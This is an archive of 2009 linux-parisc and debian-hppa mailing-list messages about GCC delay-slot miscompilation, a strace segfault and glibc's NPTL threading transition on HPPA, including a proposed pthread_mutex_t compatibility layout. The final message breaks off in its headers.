Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753141AbZFUUV1 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 21 Jun 2009 16:21:27 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753184AbZFUUV1
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 21 Jun 2009 16:21:27 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2933 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753141AbZFUUV1 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 21 Jun 2009 16:21:27 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 69B214F19; Sun, 21 Jun 2009 16:21:29 -0400 (EDT)
In-Reply-To: <119aab440906211301sf3b549dtd2a29839e86d4bfe@mail.gmail.com> from "Carlos O'Donell" at Jun 21, 2009 04:01:04 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1807
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1807>

> Sorry, this turns out not to be correct, after tracing the assembly
> completely (including loads in delayed branches) it looks like the
> location read from the pid through ptrace might be wrong. I'll have to
> keep debugging this.

Delayed branches are a nasty invention.  I am testing a patch to
fix a problem that appeared last week.

When a conditional branch with an unfilled delay slot is followed
by an asm, bad things may end up in the delay slot.  Even worse,
the branch may branch into the delay slot.  GCC has no idea what's
in an asm.  So, I'm trying to add a nop in the delay slot when a
conditional branch is followed by an asm.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Segfault in __c_f_f_c during strace of nptl application.
Date: Sun, 21 Jun 2009 17:37:23 -0400
Lines: 35
Approved: news@gmane.org
Message-ID: <119aab440906211437y60ad647ax6ec4d1d9890fe997@mail.gmail.com>
References: <119aab440906211301sf3b549dtd2a29839e86d4bfe@mail.gmail.com>
	 <20090621202129.69B214F19@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1245620251 6693 80.91.229.12 (21 Jun 2009 21:37:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 21 Jun 2009 21:37:31 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jun 21 23:37:28 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MIUj9-0005HE-Lv
	for glpp-linux-parisc@gmane.org; Sun, 21 Jun 2009 23:37:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754307AbZFUVhX convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 21 Jun 2009 17:37:23 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754343AbZFUVhX
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 21 Jun 2009 17:37:23 -0400
Original-Received: from mail-ew0-f210.google.com ([209.85.219.210]:40480 "EHLO
	mail-ew0-f210.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754331AbZFUVhX convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 21 Jun 2009 17:37:23 -0400
Original-Received: by ewy6 with SMTP id 6so4204886ewy.37
        for <linux-parisc@vger.kernel.org>; Sun, 21 Jun 2009 14:37:23 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=f9csCKnpZXc5kKmt035K22lyfwSUU9ZLuhko7xJhwAU=;
        b=bw94k9HgZe/RVB0Opc1IDtV/6cDsS39hKeh8nIHie0DzFaOgIqYKUsiN/GrZ/rOdjf
         fZfOpfJOf5IUC637aaOh3xi7iGeSHgXxguWtxPQ74NdEQQAG8Ns+r4D4EQAlQ+Zs1ZCm
         vkNji+j4RzABtABFmggucpHZWeBh5fnV4CWcg=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=JfwNmDJm+8utTLsTyeuBPyPnE/hISPVXirn8UFXz1+IzfDEERNBvO67EZYT/s+wm1J
         u9SmVdKuxCtJvo1LcZXiYm8PdS8t3aloj/8D4FrEmEGpkliAU5Pqyaf3CyzTWiwJiCPb
         VhLrKT8Cx3g958Gp/7iaJTcN9PsenhCPEukFQ=
Original-Received: by 10.216.51.202 with SMTP id b52mr1969248wec.38.1245620243030; Sun, 
	21 Jun 2009 14:37:23 -0700 (PDT)
In-Reply-To: <20090621202129.69B214F19@hiauly1.hia.nrc.ca>
X-Google-Sender-Auth: 6c9e08fe4089e755
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1808
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1808>

On Sun, Jun 21, 2009 at 4:21 PM, John David
Anglin<dave@hiauly1.hia.nrc.ca> wrote:
>> Sorry, this turns out not to be correct, after tracing the assembly
>> completely (including loads in delayed branches) it looks like the
>> location read from the pid through ptrace might be wrong. I'll have =
to
>> keep debugging this.
>
> Delayed branches are a nasty invention. =A0I am testing a patch to
> fix a problem that appeared last week.

Interesting.

> When a conditional branch with an unfilled delay slot is followed
> by an asm, bad things may end up in the delay slot. =A0Even worse,
> the branch may branch into the delay slot. =A0GCC has no idea what's
> in an asm. =A0So, I'm trying to add a nop in the delay slot when a
> conditional branch is followed by an asm.

There is an on-and-off-again bug in glibc's vfprintf.c implementation
that causes DBR to miscompile that file, but it comes and goes
depending on the gcc version. I filed a bug once, but because I
couldn't produce a reduced testcase Pinski closed it. If I see it
again I'll try again to produce a reduced testcase.

How's 4.4 on hppa?

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Segfault in __c_f_f_c during strace of nptl application.
Date: Sun, 21 Jun 2009 18:18:21 -0400 (EDT)
Lines: 37
Approved: news@gmane.org
Message-ID: <20090621221822.1E9414FC5@hiauly1.hia.nrc.ca>
References: <119aab440906211437y60ad647ax6ec4d1d9890fe997@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1245622709 12332 80.91.229.12 (21 Jun 2009 22:18:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 21 Jun 2009 22:18:29 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jun 22 00:18:27 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MIVMo-00075v-Sl
	for glpp-linux-parisc@gmane.org; Mon, 22 Jun 2009 00:18:27 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751784AbZFUWSU (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 21 Jun 2009 18:18:20 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752166AbZFUWSU
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 21 Jun 2009 18:18:20 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2947 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751784AbZFUWSU (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 21 Jun 2009 18:18:20 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 1E9414FC5; Sun, 21 Jun 2009 18:18:21 -0400 (EDT)
In-Reply-To: <119aab440906211437y60ad647ax6ec4d1d9890fe997@mail.gmail.com> from "Carlos O'Donell" at Jun 21, 2009 05:37:23 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1809
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1809>

> There is an on-and-off-again bug in glibc's vfprintf.c implementation
> that causes DBR to miscompile that file, but it comes and goes
> depending on the gcc version. I filed a bug once, but because I
> couldn't produce a reduced testcase Pinski closed it. If I see it
> again I'll try again to produce a reduced testcase.

That one is a reorg bug.  There have been some fixes in that area.  If
you can reproduce with 4.3 or later, I will look at it.  Don't worry
about reproducing a testcase.  Just attached the entire preprocessed
source (compressed if necessary).  You can reopen old bug.

In PR40468, the generated assembler code looked like this:

0x000104e4 <f+56>:      cmpb,<>,n ret0,r19,0x104e8 <f+60>
0x000104e8 <f+60>:      b,l 0x104a8 <ff>,rp
0x000104ec <f+64>:      ldi 1,r26

I don't really understand how the hardware handles the above, but
the b,l didn't correctly update rp, and ff returned to f.  I would
have thought the instruction sequence would go:

f+56, f+60 nullified, f+60, f+64, ff, ..., f+68.

> How's 4.4 on hppa?

Probably as good as any other version (few bugs fixed, a few new
ones).  It has better error checking, but that may be annoying.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.release
Subject: Re: HPPA and Squeeze
Date: Sun, 21 Jun 2009 18:55:21 -0400
Lines: 39
Approved: news@gmane.org
Message-ID: <119aab440906211555m116af57ekde6a9d75eae59a01@mail.gmail.com>
References: <20090602140734.GC26721@mx0.halon.org.uk>
	 <20090606183600.GA425@lackof.org> <4A31FA76.20103@debian.org>
	 <20090615173102.GC2690@lackof.org>
	 <20090616062531.GA17957@xanadu.blop.info> <4A37EDB5.2020400@gmx.de>
	 <20090616191317.GG25535@hall.aurel32.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1245624930 16771 80.91.229.12 (21 Jun 2009 22:55:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 21 Jun 2009 22:55:30 +0000 (UTC)
Cc: Lucas Nussbaum <lucas@lucas-nussbaum.net>,
	Helge Deller <deller@gmx.de>,
	Grant Grundler <grundler@parisc-linux.org>,
	HPPA porters <debian-hppa@lists.debian.org>,
	Debian Release <debian-release@lists.debian.org>,
	admin@debian-ports.org, linux-parisc@vger.kernel.org
To: Aurelien Jarno <aurelien@aurel32.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jun 22 00:55:27 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MIVwb-0006R3-U8
	for glpp-linux-parisc@gmane.org; Mon, 22 Jun 2009 00:55:26 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753424AbZFUWzV (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 21 Jun 2009 18:55:21 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753920AbZFUWzV
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 21 Jun 2009 18:55:21 -0400
Original-Received: from mail-ew0-f210.google.com ([209.85.219.210]:61259 "EHLO
	mail-ew0-f210.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753424AbZFUWzV (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 21 Jun 2009 18:55:21 -0400
Original-Received: by ewy6 with SMTP id 6so4238598ewy.37
        for <linux-parisc@vger.kernel.org>; Sun, 21 Jun 2009 15:55:22 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=0epbntCSRushPac/F8l3OILuZXN+OK/M0P5foMp54ss=;
        b=TInTi0NRYPHzkcato9HR3ZU8m3lZWYSXHGvF0D0sm/iO6MGiPPOmUt5FeyGl2jynkZ
         kRz1x/Gf1FcpnX/NUK/pQfhKvjeMWFOTWQ0G80z0vP+TE0XpElTInj0dlNjwRnWcBybo
         HtxdbGq6ADAdKlL0pc60vtwbJkpzRWER8srbc=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=QbZIAf9TZTsXw3edlPXjJWaiC0arXhKMU/Kf1LUjMAKKsNF8yLRcFCXw6xVebIxO0S
         n8S5BaX6yAooBSfZf4MHxxQ7OccgeLJ4N3crRNAu5/nH1BJhGjHlQZmRw32CuDqGoKkV
         8bOMgHK2xhrME6NXzeV+T6UBYpj+1GQVHGxXM=
Original-Received: by 10.216.47.201 with SMTP id t51mr1925821web.198.1245624921931; 
	Sun, 21 Jun 2009 15:55:21 -0700 (PDT)
In-Reply-To: <20090616191317.GG25535@hall.aurel32.net>
X-Google-Sender-Auth: 39790ea3e0b57484
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1810 gmane.linux.debian.ports.hppa:5786 gmane.linux.debian.devel.release:30871
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1810>

On Tue, Jun 16, 2009 at 3:13 PM, Aurelien Jarno<aurelien@aurel32.net> wrote:
> On Tue, Jun 16, 2009 at 09:08:37PM +0200, Helge Deller wrote:
>> On 06/16/2009 08:25 AM, Lucas Nussbaum wrote:
>>> On 15/06/09 at 11:31 -0600, Grant Grundler wrote:
>>> PS: if you want an HPPA-specific issue to play with,
>>> http://experimental.debian.net/fetch.php?&pkg=ruby1.9&ver=1.9.0.1-5&arch=hppa&stamp=1213563978&file=log&as=raw
>>> might be a good candidate.
>>
>> In reality it's not (any longer) a hppa specific bug. It's a bug in ruby.
>> Ruby just relies on NPTL specific behaviour of threads and as such plays mad on LinuxThreads, which we still have active on hppa.
>> The good thing is, that the NPTL switch-over was started by Carlos, so I expect that this should be fixed when NPTL hits unstable...
>>
>
> BTW, Carlos, could you please send me the latest version of your
> patches, so that we can actually do the switch with version 2.10?
>

The latest patches are now up.

Core glibc patch:
http://www.parisc-linux.org/~carlos/2009-06-20-glibc-hppa-nptl.diff

Ports glibc patch:
http://www.parisc-linux.org/~carlos/2009-06-20-glibc-ports-hppa-nptl.diff

No regressions in the testsuite for hppa-linux-gnu.

No failures in my custom testsuite for the transition.

However, the usability testing in a chroot + vnc is showing that some
applications are segfaulting. I've been looking into this today.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Segfault in __c_f_f_c during strace of nptl application.
Date: Mon, 22 Jun 2009 09:46:38 +0800
Lines: 15
Approved: news@gmane.org
Message-ID: <4A3EE27E.8050402@tausq.org>
References: <20090621152031.04E4B4F19@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1245635200 2557 80.91.229.12 (22 Jun 2009 01:46:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 22 Jun 2009 01:46:40 +0000 (UTC)
Cc: Carlos O'Donell <carlos@systemhalted.org>,
	dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jun 22 03:46:38 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MIYcH-0002uw-9v
	for glpp-linux-parisc@gmane.org; Mon, 22 Jun 2009 03:46:37 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751707AbZFVBqd (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 21 Jun 2009 21:46:33 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751700AbZFVBqd
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 21 Jun 2009 21:46:33 -0400
Original-Received: from mail-px0-f202.google.com ([209.85.216.202]:63117 "EHLO
	mail-px0-f202.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751174AbZFVBqc (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 21 Jun 2009 21:46:32 -0400
Original-Received: by pxi40 with SMTP id 40so1081538pxi.33
        for <linux-parisc@vger.kernel.org>; Sun, 21 Jun 2009 18:46:35 -0700 (PDT)
Original-Received: by 10.143.33.21 with SMTP id l21mr2419887wfj.330.1245635195895;
        Sun, 21 Jun 2009 18:46:35 -0700 (PDT)
Original-Received: from ?192.168.100.52? (ip127.bb146.pacific.net.hk [202.64.146.127])
        by mx.google.com with ESMTPS id 30sm42640wfd.1.2009.06.21.18.46.33
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Sun, 21 Jun 2009 18:46:35 -0700 (PDT)
User-Agent: Thunderbird 2.0.0.21 (Windows/20090302)
In-Reply-To: <20090621152031.04E4B4F19@hiauly1.hia.nrc.ca>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1811
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1811>


> Randolph was working on a program
> called atrace.  I tried it but didn't have much luck with it.
>   

Wow, somebody tried it! :)

Can you tell me more about what is not working?

randolph
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Petr Salinger <Petr.Salinger@seznam.cz>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: HPPA linux compat wrappers
Date: Mon, 22 Jun 2009 12:51:14 +0200 (CEST)
Lines: 86
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.62.0906221117370.2390@sci.felk.cvut.cz>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed
X-Trace: ger.gmane.org 1245668304 9737 80.91.229.12 (22 Jun 2009 10:58:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 22 Jun 2009 10:58:24 +0000 (UTC)
Cc: debian-hppa@lists.debian.org, linux-parisc@vger.kernel.org
To: "Carlos O'Donell" <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jun 22 12:58:19 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MIhEA-0004Y8-F8
	for glpp-linux-parisc@gmane.org; Mon, 22 Jun 2009 12:58:19 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752469AbZFVK55 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 22 Jun 2009 06:57:57 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752550AbZFVK55
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 22 Jun 2009 06:57:57 -0400
Original-Received: from relay.felk.cvut.cz ([147.32.80.7]:57189 "EHLO
	relay.felk.cvut.cz" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752469AbZFVK54 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 22 Jun 2009 06:57:56 -0400
X-Greylist: delayed 1990 seconds by postgrey-1.27 at vger.kernel.org; Mon, 22 Jun 2009 06:57:55 EDT
Original-Received: from sci.felk.cvut.cz (sci.felk.cvut.cz [147.32.83.100])
	by relay.felk.cvut.cz (8.14.3/8.14.3) with ESMTP id n5MAOBTh078407;
	Mon, 22 Jun 2009 12:24:11 +0200 (CEST)
	(envelope-from Petr.Salinger@seznam.cz)
X-X-Sender: salinger@sci.felk.cvut.cz
X-FELK-MailScanner-Information: 
X-MailScanner-ID: n5MAOBTh078407
X-FELK-MailScanner: Found to be clean
X-FELK-MailScanner-SpamCheck: not spam, SpamAssassin (not cached,
	score=-1.913, required 5, BAYES_00 -2.60, SPF_NEUTRAL 0.69)
X-FELK-MailScanner-From: petr.salinger@seznam.cz
X-FELK-MailScanner-To: carlos@systemhalted.org, debian-hppa@lists.debian.org,
	linux-parisc@vger.kernel.org
X-FELK-MailScanner-Watermark: 1246271051.35796@CVBP4yfvS/YS6SUsENjdPg
X-Spam-Status: No
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1812 gmane.linux.debian.ports.hppa:5787
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1812>

Hi,

> Core glibc patch:
> http://www.parisc-linux.org/~carlos/2009-06-20-glibc-hppa-nptl.diff

> Ports glibc patch:
> http://www.parisc-linux.org/~carlos/2009-06-20-glibc-ports-hppa-nptl.diff

> However, the usability testing in a chroot + vnc is showing that some
> applications are segfaulting. I've been looking into this today.

I still think there should be support for mixed ABI calls.
It would be sufficient to have at least one int of the previous
lt __spinlock place as unused in NTPL layout.

There should be change of current NPTL structure to allow it.
There are only two types of correct initializers.
It either contains all zero (modulo i.e __kind)
or it contains four one's and the rest is zero (modulo i.e __kind).

See also thread http://lists.debian.org/debian-hppa/2008/09/msg00018.html

typedef union
{
   struct __pthread_mutex_s
   {
     int __lock;
     unsigned int __count;
     int __owner;
     /* KIND must stay at this position in the structure to maintain
        binary compatibility.  */
     int __kind;
     int __lt_compat;
     unsigned int __nusers;
     __extension__ union
     {
       int __spins;
       __pthread_slist_t __list;
     };
   } __data;
   char __size[__SIZEOF_PTHREAD_MUTEX_T];
   long int __align;
} pthread_mutex_t;


The __lt_compat is inialized as zero under NPTL, it is initialized
as 1 under linuxthreads.

Similarly also for the other types.
The question is why have been sizeof(pthread_cond_t)
expanded from 48 bytes under linuxthreads into
64 bytes under NPTL. I do not see a reson for it.
IMHO, it might significantly break compatibility.

The current NPTL implementation zeroes all the fields at the begining, 
doesn't it ?
So at the begin of each affected function will be (asm coded ?)

   if (v->__lt_compat)
   {
      lock_global_pt_lock();
      if (v->__lt_compat)
      {
      		zero_all_but_lt_compat_field();
 		barrier();
                 v->__lt_compat = 0;
      };
      unlock_global_pt_lock();
   };

For the new NPTL layout the zeroing code will not be taken,
therefore almost no overhead.
There might be a congestion on global_pt_lock, but I do not believe,
there are many static initilized mutexes in any real program.
There will be no need for allocation any new structures.

The drawback is hppa specific pthread.h or need to convince Uli
to add unused zeroed field into affected structures globally.

Petr

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.debian.ports.hppa,gmane.linux.ports.parisc
Subject: Re: HPPA linux compat wrappers
Date: Mon, 22 Jun 2009 08:05:11 -0400
Lines: 63
Approved: news@gmane.org
Message-ID: <119aab440906220505l26bda054r4280165627332473@mail.gmail.com>
References: <Pine.LNX.4.62.0906221117370.2390@sci.felk.cvut.cz>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1245672330 22305 80.91.229.12 (22 Jun 2009 12:05:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 22 Jun 2009 12:05:30 +0000 (UTC)
Cc: debian-hppa@lists.debian.org, linux-parisc@vger.kernel.org
To: Petr Salinger <Petr.Salinger@seznam.cz>
Original-X-From: bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org Mon Jun 22 14:05:26 2009
Return-path: <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>
Envelope-to: debian-hppa@m.gmane.org
Original-Received: from liszt.debian.org ([82.195.75.100])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MIiH7-0002Oa-M0
	for debian-hppa@m.gmane.org; Mon, 22 Jun 2009 14:05:25 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by liszt.debian.org (Postfix) with QMQP
	id 5697A13A5A76; Mon, 22 Jun 2009 12:05:25 +0000 (UTC)
Old-Return-Path: <patofiero@gmail.com>
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on liszt.debian.org
X-Spam-Level: 
X-Spam-Status: No, score=-4.2 required=4.0 tests=FOURLA,LDO_WHITELIST,
	MURPHY_DRUGS_REL8,SARE_MSGID_LONG40 autolearn=failed version=3.2.5
X-Original-To: lists-debian-hppa@liszt.debian.org
Delivered-To: lists-debian-hppa@liszt.debian.org
Original-Received: from localhost (localhost [127.0.0.1])
	by liszt.debian.org (Postfix) with ESMTP id 10E3513A5814
	for <lists-debian-hppa@liszt.debian.org>; Mon, 22 Jun 2009 12:05:19 +0000 (UTC)
X-Virus-Scanned: at lists.debian.org with policy bank en-lt
X-Amavis-Spam-Status: No, score=-6.243 tagged_above=-10000 required=5.3
	tests=[BAYES_00=-2, FOURLA=0.1, LDO_WHITELIST=-5,
	MURPHY_DRUGS_REL8=0.02, SARE_MSGID_LONG40=0.637] autolearn=ham
Original-Received: from liszt.debian.org ([127.0.0.1])
	by localhost (lists.debian.org [127.0.0.1]) (amavisd-new, port 2525)
